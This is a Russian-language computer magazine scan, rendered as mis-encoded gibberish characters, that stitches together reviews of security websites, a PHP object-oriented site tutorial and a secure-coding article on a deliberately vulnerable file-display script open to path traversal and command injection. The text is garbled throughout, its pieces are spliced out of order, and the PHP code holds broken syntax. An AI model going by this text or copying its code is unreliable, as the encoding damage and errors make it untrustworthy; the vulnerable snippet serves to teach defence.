ëèòè÷åñêîì ðàçäåëå
ðàñïîëàãàþòñÿ ïóáëè-
êàöèè êàê îðèãèíàëü-
íûõ, òàê è âåñüìà èíòå-
ðåñíûõ èíîñòðàííûõ
ñòàòåé â îáëàñòè IT-èí-
äóñòðèè. 

Íà ñàéòå ïåðèîäè-
÷åñêè ïðîõîäÿò êîíêóð-
ñû, ãîëîñîâàíèÿ, âðå-
ìåíàìè îáíîâëÿåòñÿ
àðõèâ èç áîëåå ÷åì
äâóõ òûñÿ÷ ðàçëè÷íûõ
øàðîâàðíûõ è ôðèâàð-
íûõ ïðîãðàìì. National
Vulnerability Database
ñîäåðæèò èíôîðìàöèþ
íà àíãëèéñêîì î áîëåå
÷åì 20 òûñÿ÷àõ óÿçâè-
ìîñòåé.

Ïåðâûé èíôîðìàöè-
îííûé ïîðòàë ñîâìåñò-
íî ñ íåáåçûçâåñòíûì
òåáå Àëåêñååì Ëóêàö-
êèì (ðóêîâîäèòåëåì
îäíîãî èç îòäåëîâ ÍÈÏ
«Èíôîðìçàùèòà»)
ïðåäëàãàåò íîâûé 

è äîâîëüíî èíòåðåñ-
íûé ñåðâèñ �
«Security-êàëåíäàðü».
Ïðèäóìàí îí äëÿ òåõ,
êîìó èíòåðåñíà èñòî-
ðèÿ çàùèòû èíôîðìà-
öèè. Êàëåíäàðü âûâî-
äèò çíàìåíàòåëüíûå
ñîáûòèÿ â ìèðå èíôîð-
ìàöèîííîé áåçîïàñ-
íîñòè òåêóùåãî äíÿ.
Áàçà ðàñòåò â òîì ÷èñ-
ëå è áëàãîäàðÿ ïîìî-
ùè ïîñåòèòåëåé ïîðòà-
ëà. Èíôîðìåð àáñî-
ëþòíî ñâîáîäíûé è
äîñòóïåí ëþáîìó æå-
ëàþùåìó ðàçìåñòèòü
åãî ó ñåáÿ íà ñòðàíèöå. 

Íåëüçÿ íå îòìåòèòü
è åùå îäèí ïîëåçíûé
ðàçäåë � ôîðóì. Çäåñü
êðóãëûå ñóòêè ìîæíî
ïîëó÷èòü êâàëèôèöèðî-
âàííûé îòâåò íà èíòå-
ðåñóþùèé âîïðîñ îò
ñïåöèàëèñòîâ è ñèñàä-
ìèíîâ ñî âñåé Ðîññèè.
Ôîðóì SecurityLab �
ñàìîå ïîïóëÿðíîå ìåñ-
òî â ðóíåòå, ãäå ìîæíî
óçíàòü ïî÷òè âñå îá èí-
ôîðìàöèîííîé áåçî-
ïàñíîñòè. Ìåñòíóþ ðàñ-
ñûëêó ÷èòàþò ïî÷òè 20
òûñÿ÷ ÷åëîâåê.

Íåóäèâèòåëüíî, 
÷òî ñòîëü ïîïóëÿðíûé
ñåêüþðèòè-ïîðòàë ïîä-
âåðãàåòñÿ ïîñòîÿííûì
àòàêàì. Ñïåöèàëèñòû
ïîçàáîòèëèñü è î ñåáå:
èíòåðíåò-ïðîåêò óï-
ðàâëÿåòñÿ ñèñòåìîé
«Áèòðèêñ» �- îäíîé 
èç íàèáîëåå ñòàáèëüíûõ
è çàùèùåííûõ CMS.
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SecurityLab

www.securitylab.ru

Âñå íîâîñòè î ïðîèñõî-
äÿùèõ ñðàæåíèÿõ çà
èíôîðìàöèþ ñòåêàþò-
ñÿ èìåííî ñþäà �
â ìåæäóíàðîäíûé
öåíòð ÈÒ-áåçîïàñíîñ-
òè. Çäåñü, â ðàçäåëå
«Èíôîðìàöèîííûå
âîéíû» ìîæíî íàéòè
ïîñëåäíèå ñâîäêè
èç çîíû áîåâûõ
äåéñòâèé. Íà ñàéòå 
ñîäåðæèòñÿ ýêñêëþçèâ-
íàÿ èíôîðìàöèÿ îá àòà-
êàõ ñåðâåðîâ, áîëüøàÿ
÷àñòü êîòîðîé ïîÿâëÿ-
åòñÿ áëàãîäàðÿ ñêðèïò-
êèääèñàì è èíûì õóëè-
ãàíàì. Ïðè÷åì ìîíèòî-
ðèíã ýòèõ àòàê íå ïðåê-
ðàùàåòñÿ íè íà ñåêóí-
äó. Âî âñåì ýòîì ÿâíî 
âû÷åð÷èâàåòñÿ ñèëóýò
èäåè ïðîåêòà: íå òåðÿòü
ñâÿçü ìåæäó ñîáûòèÿ-
ìè â ñôåðå IT-security 
è â ìèðå. Zone-H äå-
ìîíñòðèðóåò, ÷òî ïîëè-
òèêà è ïðîáëåìû èí-
ôîðìàöèîííîé áåçî-
ïàñíîñòè íåðàçðûâíî
ïåðåïëåòåíû ìåæäó ñî-
áîé è ñ ïðîèñõîäÿùèì
â ãëîáàëüíîé Ñåòè.
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Zone-H

www.zone-h.ru

Ãëîáàëüíûé ðåñóðñ
Ëàáîðàòîðèè Êàñïåðñ-
êîãî, ïîëíîñòüþ ïîñâÿ-
ùåííûé èíôîðìàöè-

îííîé áåçîïàñíîñòè.
Èìåþùàÿñÿ íà ñàéòå
ýíöèêëîïåäèÿ âèðóñîâ
äàñò ìàêñèìàëüíóþ

èíôîðìàöèþ 
ïî ðàçëè÷íûì 
âîïðîñàì: íà÷èíàÿ 
îò ïðèíöèïîâ ðàáîòû
è çàêàí÷èâàÿ ìåðàìè
ïðåäîñòîðîæíîñòè.
Â ñîñòàâ âêëþ÷åíî
ïîëíîå îïèñàíèå 
âñåõ èçâåñòíûõ 
âðåäîíîñíûõ ïðîã-
ðàìì. Íà viruslist.com
âñåãäà ìîæíî ïîëó-

÷èòü äîñòóï ê ðàçëè÷-
íîé ñòàòèñòè÷åñêîé
èíôîðìàöèè, îçíàêî-
ìèòüñÿ ñ òåíäåíöèÿìè
ðàçâèòèÿ âèðóñíûõ
òåõíîëîãèé è ñïàìà,
óçíàòü ïîñëåäíèå 
íîâîñòè óÿçâèìûõ 
ïðîäóêòîâ. À åñëè 
âîçíèêíóò êàêèå-ëèáî
âîïðîñû, òî âñåãäà
ìîæíî âîñïîëüçîâàòü-

ñÿ ôîðóìîì, 
íà êîòîðîì òû 
ïîëó÷èøü èñ÷åðïûâà-
þùóþ èíôîðìàöèþ
ïî òåìàòèêå ñàéòà.
Ñàéò äîñòóïåí
íà 6 ÿçûêàõ, âêëþ÷àÿ
ðóññêèé. Â òâîåì 
ðàñïîðÿæåíèè âîç-
ìîæíîñòü áûñòðîãî 
ïîèñêà è óäîáíûé 
èíòåðôåéñ. 
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www.Viruslist.com
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Îäíà èç ñàìûõ ñòàðûõ
ðóññêîÿçû÷íûõ ñòðà-
íèö îá îáåñïå÷åíèè çà-
ùèòû ãëàâíîãî ðåñóðñà
íà ïëàíåòå. Ìîæåò
áûòü, íå òàêàÿ îáúåì-
íàÿ è àêòèâíàÿ (ðåãó-
ëÿðíîñòü îáíîâëåíèÿ
íîâîñòåé îò íåñêîëüêèõ
ðàç â äåíü äî îäíîãî
ðàçà â íåäåëþ, ïî ìåðå
íàêîïëåíèÿ), çàòî ìî-
æåò ïîðàäîâàòü ñâîèì
ïðîôåññèîíàëèçìîì
è ýêñêëþçèâíîñòüþ
áîëüøåé ÷àñòè èíôîð-
ìàöèè. Ãëàâíàÿ çàäà-
÷à � èçó÷åíèå è îòñëå-
æèâàíèå òåíäåíöèé,
ïðîâåäåíèå àíàëèòè-
÷åñêèõ ðàáîò è ñîîáùå-
íèå î íàèáîëåå çíà÷è-
ìûõ ñîáûòèÿõ IT. Ðå-
ñóðñ ðàññ÷èòàí íà áî-
ëåå ïîäãîòîâëåííîãî

ïîñåòèòåëÿ: îñíîâíàÿ
àóäèòîðèÿ � âåäóùèå
ñïåöèàëèñòû IT, ïðåè-
ìóùåñòâåííî ñ âûñ-
øèì îáðàçîâàíèåì, êî-
òîðûå ñòðåìÿòñÿ ïîëó-
÷èòü «÷èñòóþ» èíôîð-
ìàöèþ áåç ïðèìåñåé
àáñîëþòíî íåíóæíûõ
ôàêòîâ è äîìûñëîâ.

Íî ãëàâíûì äîñòî-
èíñòâîì BugTraq.ru
ñòàëà îäíîèìåííàÿ
ðàññûëêà (íà ñåãîä-
íÿøíèé äåíü � 83 òû-
ñÿ÷è ïîäïèñ÷èêîâ),
ôàêòè÷åñêè è ïîñëó-
æèâøàÿ ôóíäàìåíòîì
äëÿ âîçâåäåíèÿ íû-
íåøíåãî ïîðòàëà.
Ñ 1997 ãîäà â ÿùèêè
ïîäïèñ÷èêîâ ïîíåñ-
ëèñü êèëîáàéòû öåííîé
ñåêüþðèòè-èíôîðìà-
öèè, à ìåõàíèçì ñåé
çàïóñòèë Äìèòðèé Ëåî-
íîâ � ÷åëîâåê, èçâåñò-
íûé êàæäîìó, êòî êîã-
äà ëèáî èíòåðåñîâàëñÿ
IT-security. Âåäóùèé
ñïåöèàëèñò, àâòîð øè-
ðîêî èçâåñòíîé êíèãè
«Àòàêà íè Èíòåðíåò»,
óâàæàåìûé â IT-êðóãàõ,
îí òàêæå ñîçäàòåëü
ãðîìêèõ ïðîåêòîâ
Russian Security
Newsline, HackZone.Ru,
ezhe.ru. Îïðåäåëåííî,
BugTraq.ru � must visit!
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BugTraq.Ru

www.bugtraq.ru

Åùå îäèí äîëãîæèòåëü
ðóíåòà (ìàé 2001), ñîç-
äàííûé îòå÷åñòâåííîé
êîìàíäîé uinC (Under-
ground InformatioN
Center). Îäíîèìåííûé
ïîðòàë � ïîïûòêà ñäå-
ëàòü ðåñóðñ, ñõîæèé
ïî òåìàòèêå ñ ïîïóëÿð-
íîé â òî âðåìÿ Õàêçî-
íîé, íî èñêëþ÷àþ-
ùèé åå îñíîâíîé íåäî-
÷åò � îáèëèå ìóñîðà
(ôëåéìèíã è ôëóäèíã
ïëîòíî ïîñåëèëñÿ â òå
âðåìåíà íà ïîïóëÿð-
íîì ôîðóìå). 

Network & security
news � îäèí èç èíòå-
ðåñíåéøèõ ðàçäåëîâ!
Ïîäàâëÿþùåå áîëü-
øèíñòâî íîâîñòíûõ 
ñîîáùåíèé ïåðåâåäå-
íî ñ èíîñòðàííûõ ïåð-

âîèñòî÷íèêîâ ñàìèìè
÷ëåíàìè ãðóïïû. Ñâå-
æèå ïîñòû â ýòîì 
ðàçäåëå ïîÿâëÿþòñÿ
êàæäûé äåíü ïî 6�10
øòóê è îáÿçàòåëüíî
ñ óêàçàíèåì ññûëêè 
íà îðèãèíàë. 

Ñòàòüè uinc.ru ðåäêî
îáíîâëÿþòñÿ, íî àðõèâ
âêëþ÷àåò â ñåáÿ ïî-
ëåçíóþ ïîäáîðêó èí-
ôîðìàöèè, â òîì ÷èñëå
è íà àêòóàëüíûå ñåãîä-
íÿ òåìû. Äëÿ ñàìûõ
ìàëåíüêèõ íàéäåòñÿ
FAQ ñ ïîïóëÿðíûìè
âîïðîñàìè â îáëàñ-
òè IT. Àðõèâ ñîôòà òî-
æå ñòîèò ïîëèñ-
òàòü (òàì òåáÿ æäåò
î÷åíü õîðîøàÿ ïîä-
áîðêà ïðîãðàìì ïî êà-
òåãîðèÿì ñ èõ îïèñàíè-
åì è ññûëêîé íà çàêà÷-
êó). À ñ êîìàíäíûìè
ðåëèçàìè ìîæíî ïîç-
íàêîìèòüñÿ â ðàçäåëå
ïðîåêòîâ. Çäåñü æèâóò
òàêèå èçâåñòíûå îáè-
òàòåëè ñîôòâåðíîãî
ìèðà êàê RegScan,
UINC Keylogger, PE
Optimizer è ìíîãèå äðó-
ãèå. Ôîðóì íå ïîíðà-
âèëñÿ, âûïîëíåí â ñòè-
ëå îëä ñêóë :).

Ôàêòè÷åñêè, ýòîò ðå-
ñóðñ � ñàéò óêðàèíñêîé
êîíòîðû, ñïåöèàëèçèðó-
þùåéñÿ íà èíôîðìàöè-
îííûõ òåõíîëîãèÿõ è èí-
ôîðìàöèîííîé áåçî-
ïàñíîñòè. Ïîìèìî äàí-
íûõ î ïðåäïðèÿòèè è
ñïèñêà îêàçûâàåìûõ
óñëóã, ýòà ñòðàíèöà ÿâ-

ëÿåòñÿ íåïëîõèì èí-
ôîðìàòèâíûì ðåñóð-
ñîì ïî áåçîïàñíîñòè.
Äåÿòåëè èç ìåñòíîãî
Öåíòðà Áåçîïàñíîñòè
ãîòîâÿò êà÷åñòâåííóþ
ðàññûëêó «Êîìïüþòåð-
íàÿ áåçîïàñíîñòü».
3�4 ðàçà â íåäåëþ òåáå
íà ìûëî áóäåò ïðèõî-
äèòü îïåðàòèâíàÿ èí-
ôîðìàöèÿ î ïîñëåäíèõ
áàãàõ, âèðóñàõ, íîâîñ-
òè ÏÎ è èíôîðìàöèîí-
íûõ òåõíîëîãèé. À òàê-
æå � âñå èçìåíåíèÿ
â çàêîíîäàòåëüñòâå, òàê
èëè èíà÷å ñâÿçàííûå
ñ çàùèòîé èíôîðìàöèè,
êîïèðàéòàìè è èíòåë-
ëåêòóàëüíîé ñîáñòâåí-
íîñòüþ.
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www.uinc.ru
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ÁÅÇÏÅÊÀ

www.bezpeka.comÍåçàâèñèìûé èíôîð-
ìàöèîííî-àíàëèòè÷åñ-
êèé ïðîåêò î òîì, êàê
çàùèòèòü ñåáÿ îò âñÿ-
êîé malware-äðÿíè.
Íàä åãî ðàçâèòèåì ðà-
áîòàþò íàñòîÿùèå
ïðîôåññèîíàëû, èìå-
þùèå áîëüøîé îïûò
ðàáîòû â îáëàñòè IT-
security. Óðîâåíü ñïå-
öîâ ïðîåêòà ñòàíîâèò-
ñÿ çàìåòåí, åñëè ïîñ-
ìîòðåòü, êàê ñòðåìè-
òåëüíî ðàçâèâàåòñÿ
ðåñóðñ. Êàæäûé äåíü
â íîâîñòíîé ëåíòå
ïóáëèêóåòñÿ ñâåæàÿ
èíôîðìàöèÿ î òåêó-

ùèõ è âîçìîæíûõ óã-
ðîçàõ, ðàçðàáàòûâà-
þòñÿ è îñâåùàþòñÿ
íàèáîëåå ýôôåêòèâ-
íûå òåõíîëîãèè çàùè-
òû. Çäåñü âñåãäà ìîæ-
íî îçíàêîìèòüñÿ ñ ïî-
ãîäîé íà ëèíèè ôðîí-
òà: ïåðèîäè÷åñêè ïðî-
âîäÿòñÿ àíàëèòè÷åñ-
êèå îáçîðû è âñåâîç-
ìîæíûå èññëåäîâà-
íèÿ. Anti-Malware ïîä-
äåðæèâàåòñÿ òàêèìè
èçâåñòíûìè êîìïàíè-
ÿìè êàê Dr.Web, Äèà-
ëîãÍàóêà, Ëàáîðàòî-
ðèÿ Êàñïåðñêîãî,
Panda Sofware. 
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Anti-Malware

www.anti-malware.ru



×àùå âñåãî âçëîìùèêè ïîëüçóþòñÿ ðàçëè÷íûìè íå-
äîðàáîòêàìè â ñêðèïòàõ � íàïðèìåð, íåäîñòàòî÷íîé
ïðîâåðêîé ïîñòóïàþùåé èçâíå (îò ïîñåòèòåëÿ ñàéòà)
èíôîðìàöèè. Â äàííîé ñòàòüå ÿ ïîêàæó, êàê, èñïîëü-
çóÿ ñîâðåìåííûå òåõíîëîãèè ïðîãðàììèðîâàíèÿ,
ìîæíî îðãàíèçîâàòü ãèáêóþ è íàäåæíóþ ñèñòåìó
ïðîâåðêè äàííûõ, ïîëó÷åííûõ îò ïîëüçîâàòåëÿ. 

òèïè÷íûå ääûðû. Êàêîé êîä ìîæåò áûòü óÿçâè-
ìûì ê àòàêàì âçëîìùèêîâ? Êàê âçëîìùèêè ïîëü-
çóþòñÿ äûðàìè â ñêðèïòàõ? Ïðåæäå âñåãî, îòìå÷ó,
÷òî ãðàìîòíî íàïèñàííûé ñêðèïò äîâîëüíî òðóäíî
âçëîìàòü, à áîëüøèíñòâî âçëîìîâ ïðîèñõîäèò èç-
çà íåäîñòàòî÷íîé áäèòåëüíîñòè ïðîãðàììèñòîâ.
«Ïðîâåðÿòü, ïðîâåðÿòü è åùå ðàç ïðîâåðÿòü âõîä-
íûå äàííûå» � âîò ëîçóíã íàïèñàíèÿ íàäåæíûõ è
áåçîïàñíûõ ñêðèïòîâ. 

èìåíà ôôàéëîâ. Ïîëüçîâàòåëü îòïðàâëÿåò
ñâîè çàïðîñû ê ñåðâåðó ñ ïîìîùüþ ìåòîäîâ POST
è GET. Èç çàïîëíåííûõ ôîðì âõîäíûå äàííûå ÷à-
ùå âñåãî ïîñòóïàþò ìåòîäîì POST, à äëÿ ïåðåäà÷è
äàííûõ ñ ïîìîùüþ ãèïåðòåêñòîâîé ññûëêè ïðèìå-
íÿåòñÿ ìåòîä GET. Íàïðèìåð, ó íàñ íà ñàéòå ðàçìå-
ùåíû ðàçëè÷íûå ñòàòüè, è äëÿ èõ ïîêàçà ìû èñïîëü-

çóåì îòîáðàæàþùèé ñêðèïò. Èíôîðìàöèÿ î ñòàòüÿõ
õðàíèòñÿ â áàçå äàííûõ, à ñïåöèàëüíûé ñêðèïò âû-
äàåò ïðèìåðíî òàêîé ñïèñîê: 

«äûðÿâûé» ññïèñîê ñññûëîê
<a href="show.php?filename=

article1.html">Ñòàòüÿ 1</a>

<a href="show.php?filename=

article2.html">Ñòàòüÿ 2</a>

<a href="show.php?filename=

article3.html">Ñòàòüÿ 3</a>

Êàæäàÿ ññûëêà óêàçûâàåò íà ñêðèïò show.php, êî-
òîðûé âûâîäèò ñòàòüè íà ýêðàí (â êà÷åñòâå ïàðàìå-
òðà åìó ïåðåäàåòñÿ èìÿ ôàéëà). Ñàì ñêðèïò
show.php ñîäåðæèò ñëåäóþùèé êîä: 

ïîòåíöèàëüíàÿ ääûðà
// Âûâîä âåðõíåé ÷àñòè ñòðàíèöû

�

echo file_get_contents($filename);

...

// Âûâîä íèæíåé ÷àñòè ñòðàíèöû

Êîíå÷íî, ìû ðàññìîòðåëè ñàìûé çàïóùåííûé ñëó-
÷àé: â äàííîì êîäå ñîäåðæàòñÿ äâå ãðóáûõ ñ òî÷êè
çðåíèÿ íàïèñàíèÿ áåçîïàñíîãî êîäà îøèáêè.
Âî-ïåðâûõ, äëÿ ïîëó÷åíèÿ âíåøíèõ äàííûõ (èìåíè
ôàéëà) èñïîëüçóåòñÿ ãëîáàëüíàÿ ïåðåìåííàÿ $file-
name. Âìåñòî ýòîãî ëó÷øå èñïîëüçîâàòü àññîöè-
àòèâíûå ìàññèâû $_REQUEST, $_POST, $_GET
è äðóãèå. Òåì áîëåå ÷òî â ñëåäóþùèõ âåðñèÿõ PHP
ãëîáàëüíûå ïåðåìåííûå íà îñíîâå äàííûõ ïîëüçî-
âàòåëÿ ñîçäàâàòüñÿ íå áóäóò, è õî÷åøü òû ýòîãî èëè
íåò � ïðèäåòñÿ èñïîëüçîâàòü ñïåöèàëüíûå ìàññè-
âû. Âî-âòîðûõ, $filename íèêàê íå ïðîâåðÿåòñÿ. Íà-
ïðèìåð, âçëîìùèê ìîæåò óêàçàòü âìåñòî èìåíè
ôàéëà â ñòðîêå ââîäà àäðåñà index.php è ïîëó÷èò
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ââåäåíèå. Äîñòàòî÷íî ÷àñòî äëÿ
ðàçðàáîòêè ñàéòîâ èñïîëüçóåòñÿ ÿçûê
PHP. Â ïîñëåäíåé (ïÿòîé) âåðñèè PHP
çíà÷èòåëüíî óëó÷øèëàñü ïîääåðæêà
ÎÎÏ (îáúåêòíî-îðèåíòèðîâàííîãî ïðî-
ãðàììèðîâàíèÿ). Òåì íå ìåíåå, ìíîãèå
ïðîãðàììèñòû ïðè ñîçäàíèè ñàéòîâ èñ-
ïîëüçóþò ëèøü ñàìûå ïðèìèòèâíûå
âîçìîæíîñòè ÎÎÏ, íàïðèìåð, èíêàïñó-
ëÿöèþ äàííûõ. Áåçóñëîâíî, òàêîå ïðè-
ìåíåíèå ÎÎÏ äåëàåò êîä áîëåå êà÷å-
ñòâåííûì, íî, ïðèìåíÿÿ è äðóãèå âîç-
ìîæíîñòè ÎÎÏ, ìîæíî äîáèòüñÿ áîëü-
øåãî ýôôåêòà. Ïðèìåíåíèå ïîëèìîð-
ôèçìà è íàñëåäîâàíèÿ ïîçâîëÿåò çíà÷è-
òåëüíî ñîêðàòèòü êîä, îäíîâðåìåííî äå-
ëàÿ åãî áîëåå íàäåæíûì. Òàêæå òàêîé
êîä ìîæíî ÷àñòî èñïîëüçîâàòü ïîâòîð-
íî. Ðàññìîòðèì ýòî äåëî íà ïðàêòèêå.
Èòàê, ïåðåä íàìè ñòîèò çàäà÷à � ñäå-
ëàòü ñòðàíèöó Âàñè Ïóïêèíà. Ââåðõó
ñòðàíèöû äîëæíà áûòü áîëüøàÿ íàä-
ïèñü «Äîìàøíÿÿ ñòðàíèöà Âàñè Ïóïêè-
íà» (îáû÷íî ýòî ëîãîòèï ñàéòà). Äàëåå
ñëåäóåò ìåíþ, ñîñòîÿùåå èç ñëåäóþùèõ
ðàçäåëîâ: «Ãëàâíàÿ ñòðàíèöà», «Áèîãðà-
ôèÿ», «Ññûëêè». Ïî ñåðåäèíå ñòðàíèöû
èäåò òåêñò ðàçäåëà. Âíèçó äóáëèðóåòñÿ
ìåíþ. Ñàéò áóäåò ñîñòîÿòü èç ÷åòûðåõ
îñíîâíûõ ôàéëîâ (ñìîòðè òàáëèöó 1).

êàðêàñ ññàéòà. Íàøà ñòðàíèöà áóäåò
ÿâëÿòüñÿ êëàññîì. Îïðåäåëèì àáñòðàêòíûé
êëàññ HTML-ñòðàíèöû â ôàéëå html.php: 

àáñòðàêòíûé ááàçîâûé êêëàññ 
«ñòðàíèöà HHTML»
<?php
abstract class HTMLPage
{
protected $Title = "";

function __construct($Title)
{
$this->Title = "[Äîìàøíÿÿ ñòðàíèöà
Âàñè Ïóïêèíà] " . $Title;
}
function BeginHTML()
{
echo <<<HTML
<html>
<head>
<title>{$this"Title}</title>
</head>
<body>
HTML;
}
function EndHTML()
{
echo <<<HTML
</body>
</html>
HTML;
}
function Logo()
{
echo "<h1>Äîìàøíÿÿ ñòðàíèöà
Âàñè Ïóïêèíà</h2>";
}
function Menu()
{
echo <<<HTML
<table>
<tr>
<td><a href='index.php'>
Ãëàâíàÿ ñòðàíèöà</a></td>
<td><a href='bio.php'>
Áèîãðàôèÿ</a></td>
<td><a href='links.php'>
Ññûëêè</a></td>
</tr>
</table>
HTML;
}
abstract function MainText();
function Write()
{
$this->BeginHTML();
$this->Logo();
$this->Menu();
$this->MainText();
$this->Menu();
$this->EndHTML();
}
}
?>

×àñòü ìåòîäîâ ñëóæèò äëÿ âûâîäà îò-
äåëüíûõ ýëåìåíòîâ ñòðàíèöû, òàêèõ êàê
ìåíþ, ëîãîòèï è òàê äàëåå. Â ìåòîäå
Write âñå ýòè ôóíêöèè âûçûâàþòñÿ äëÿ
òîãî, ÷òîáû âûâåñòè âñþ ñòðàíèöó öåëè-

êîì. Îñîáîå âíèìàíèå ñëåäóåò óäåëèòü
àáñòðàêòíîìó ìåòîäó MainText. Ýòîò ìå-
òîä íàçûâàåòñÿ àáñòðàêòíûì, ïîñêîëü-
êó îí íå ðåàëèçîâàí â ýòîì êëàññå,
à òîëüêî îáúÿâëåí. Ïåðåîïðåäåëåí è ðå-
àëèçîâàí îí áóäåò â äî÷åðíèõ êëàññàõ.
Òàê íà ñòðàíèöå ññûëîê â ýòîì ìåòîäå
áóäóò âûâîäèòüñÿ ññûëêè, à íà ñòðàíè-
öå áèîãðàôèè � òåêñò áèîãðàôèè Âàñè
Ïóïêèíà. Ñàì êëàññ îáúÿâëåí àáñòðàêò-
íûì, è, çíà÷èò, ñîçäàòü ýêçåìïëÿðû òà-
êîãî êëàññà áóäåò íåâîçìîæíî. 

Â êëàññå îáúÿâëåíà ïåðåìåííàÿ
$Title ñ îáëàñòüþ âèäèìîñòè protected,
òî åñòü äîñòóï ê íåé ìîæåò ïîëó÷èòü
ëèáî ñàì êëàññ, ëèáî åãî íàñëåäíèêè.
Òåïåðü îñòàëîñü ñîçäàòü îñòàëüíûå
òðè ôàéëà. Ïîêàæó, êàê ýòî ìîæíî ñäå-
ëàòü íà ïðèìåðå index.php: 

ãëàâíàÿ ññòðàíèöà ññàéòà 
<?php
include_once("html.php");
class IndexPage extends HTMLPage
{
function MainText()
{
echo "<p>Äîáðî ïîæàëîâàòü
íà äîìàøíþþ ñòðàíè÷êó Âàñè Ïóïêèíà";
}
}
$Page = new IndexPage("Ãëàâíàÿ
ñòðàíèöà");
$Page->Write();
?>

Â äàííîì ñëó÷àå ïðîñòî ñîçäàåòñÿ íî-
âûé êëàññ IndexPage, ïðîèçâîäíûé îò
êëàññà HTMLPage è ïåðåîïðåäåëÿåòñÿ
ìåòîä MainText äëÿ âûâîäà îñíîâíîãî
ñîäåðæàíèÿ ñòðàíèöû. Äëÿ íàãëÿäíî-
ñòè ïðèâåäó ñõåìó èåðàðõèè êëàññîâ
(ñìîòðè òàáëèöó 2).

ðåçóëüòàò. Ïðåèìóùåñòâà èñïîëü-
çîâàíèÿ ÎÎÏ áóäóò òåì áîëüøå, ÷åì
áîëüøå áóäåò ñàéò. Ê òîìó æå, ïî õîäó ðà-
áîòû òðåáîâàíèÿ ê ñàéòó áóäóò ìåíÿòüñÿ.
Ìîæåò ïîòðåáîâàòüñÿ äîáàâëåíèå íîâîé
ñòðàíèöû. Äëÿ ýòîãî íàäî áóäåò ñîçäàòü
íîâûé ôàéë ñ êëàññîì, ïðîèçâîäíûì îò
HTMLPage, ïåðåîïðåäåëèòü ìåòîä Main-
Text è ñîçäàòü ñîîòâåòñòâóþùèé ïóíêò
ìåíþ. Âîò êàê ìîæíî èñïîëüçîâàòü íà-
ñëåäîâàíèå. Òàêæå ïðîñòî áóäåò èçìå-
íèòü äèçàéí âñåõ ñòðàíèö � èçìåíåíèÿ
áóäóò ïðîèñõîäèòü â êëàññå HTMLPage,
äðóãèå ñòðàíèöû óíàñëåäóþò äèçàéí àâ-
òîìàòè÷åñêè. Îïèñàííûé ïîäõîä õîðîøî
ïîäõîäèò äëÿ íåáîëüøèõ ñàéòîâ ñ íåñ-
êîëüêèìè äåñÿòêàìè ñòðàíèö.
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function __construct($Title) Ñîçäàíèå è èíèöèàëèçàöèÿ îáúåêòà 
(â íàøåì ñëó÷àå � óñòàíîâêà íàçâàíèÿ 
ñòðàíèöû)

function BeginHTML() Âûâîä çàãîëîâêà html-ôàéëà
function EndHTML() Âûâîä îêîí÷àíèÿ html-ôàéëà
function Logo() Âûâîä ëîãîòèïà ñàéòà
function Menu() Âûâîä ãëàâíîãî ìåíþ ñàéòà
abstract function MainText() Âûâîä îñíîâíîãî ñîäåðæàíèÿ âåá-ñòðàíèöû
function Write() Âûâîä âåá-ñòðàíèöû ïóòåì âûâîäà 

åå îòäåëüíûõ ýëåìåíòîâ

Òàáëèöà 11
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index.php Ãëàâíàÿ ñòðàíèöà
bio.php Ñòðàíèöà ñ áèîãðàôèåé

Âàñè Ïóïêèíà

links.php Ñòðàíèöà ñ ññûëêàìè
html.php Âñïîìîãàòåëüíûé ôàéë



òåêñò ñêðèïòà, à òàêîé öåííîé èíôîðìàöèåé îí áåç
òðóäà âîñïîëüçóåòñÿ äëÿ äàëüíåéøåãî ïîèñêà íåäî-
÷åòîâ â íàøåé ñèñòåìå áåçîïàñíîñòè. Ñëåäóþùèì
øàãîì âçëîìùèêà ìîæåò áûòü ïîïûòêà âûâåñòè íà
ýêðàí êàêèå-ëèáî êîíôèãóðàöèîííûå ôàéëû ñ ëî-
ãèíîì è ïàðîëåì àäìèíèñòðàòîðà ñàéòà. 

Âûõîäà äâà: ìîæíî âìåñòî èìåíè ôàéëà ïå-
ðåäàâàòü èäåíòèôèêàòîð ñòàòüè, à çàòåì ïðåîáðà-
çîâûâàòü åãî â èìÿ ôàéëà èëè òùàòåëüíî ïðîâå-
ðÿòü èìÿ ôàéëà íà äîïóñòèìûå èìåíà, íà ñëåøè
è îáðàòíûå ñëåøè, ÷òîáû âçëîìùèê íå ñìîã ïóòå-
øåñòâîâàòü ïî íàøèì êàòàëîãàì. Âî âòîðîì ñëó÷àå
ëó÷øå âñåãî âîñïîëüçîâàòüñÿ îïåðàòîðîì if (èëè
ìàññèâîì èìåí ôàéëîâ) è âûáèðàòü ôàéë äëÿ îòî-
áðàæåíèÿ èç æåñòêî çàäàííîãî ñïèñêà.

ôóíêöèÿ ssystem(). Âñòðå÷àþòñÿ è áîëåå ïàòî-
ëîãè÷åñêèå ñëó÷àè: íåêîòîðûå «ïðîãðàììèñòû» èñ-
ïîëüçóþò âíåøíèå äàííûå â ôóíêöèè system(), êî-
òîðàÿ âûïîëíÿåò ïðîèçâîëüíóþ êîìàíäó îïåðàöè-
îííîé ñèñòåìû. Â òàêîì ñëó÷àå äî äåôåéñà ñàé-
òà � áóêâàëüíî îäèí øàã. Ôóíêöèþ system âîîáùå
íå ñëåäóåò èñïîëüçîâàòü áåç ýêñòðåííîé íåîáõîäè-
ìîñòè! Åñëè óæ ïðèøëîñü çàäåéñòâîâàòü åå âìåñòå
ñ âíåøíèìè äàííûìè, òî òóò íàäî áóäåò îñóùå-
ñòâèòü î÷åíü ñòðîãóþ ïðîâåðêó íà ñïåöñèìâîëû:
îò âñåõ ñïåöèàëüíûõ ñèìâîëîâ *nix-ñèñòåì äî ñèì-
âîëà ñ êîäîì 0, èíà÷å âçëîìùèê ïîëó÷èò âîçìîæ-
íîñòü èñïîëíÿòü ïðîèçâîëüíûå êîìàíäû îïåðàöè-
îííîé ñèñòåìû íà ñåðâåðå, è îò ñàéòà îñòàíóòñÿ îä-
íè ïîòðîõà. 

áàçû ääàííûõ. Â ñâÿçêå ñ PHP îáû÷íî ïðèìå-
íÿþò áàçó äàííûõ MySQL (ðåæå � PostgreSQL). Äî-
ñòóï ê äàííûì â òàêîì ñëó÷àå îñóùåñòâëÿåòñÿ ïðè
ïîìîùè ÿçûêà çàïðîñîâ SQL. Â òàêèå çàïðîñû ÷à-
ñòî ïðèõîäèòñÿ âñòàâëÿòü âíåøíèå äàííûå, íàïðè-
ìåð, äëÿ ãîñòåâîé êíèãè â áàçå äàííûõ íàäî ñîõðà-
íèòü, êàê ìèíèìóì, íèê è ñîîáùåíèå ïîëüçîâàòåëÿ.
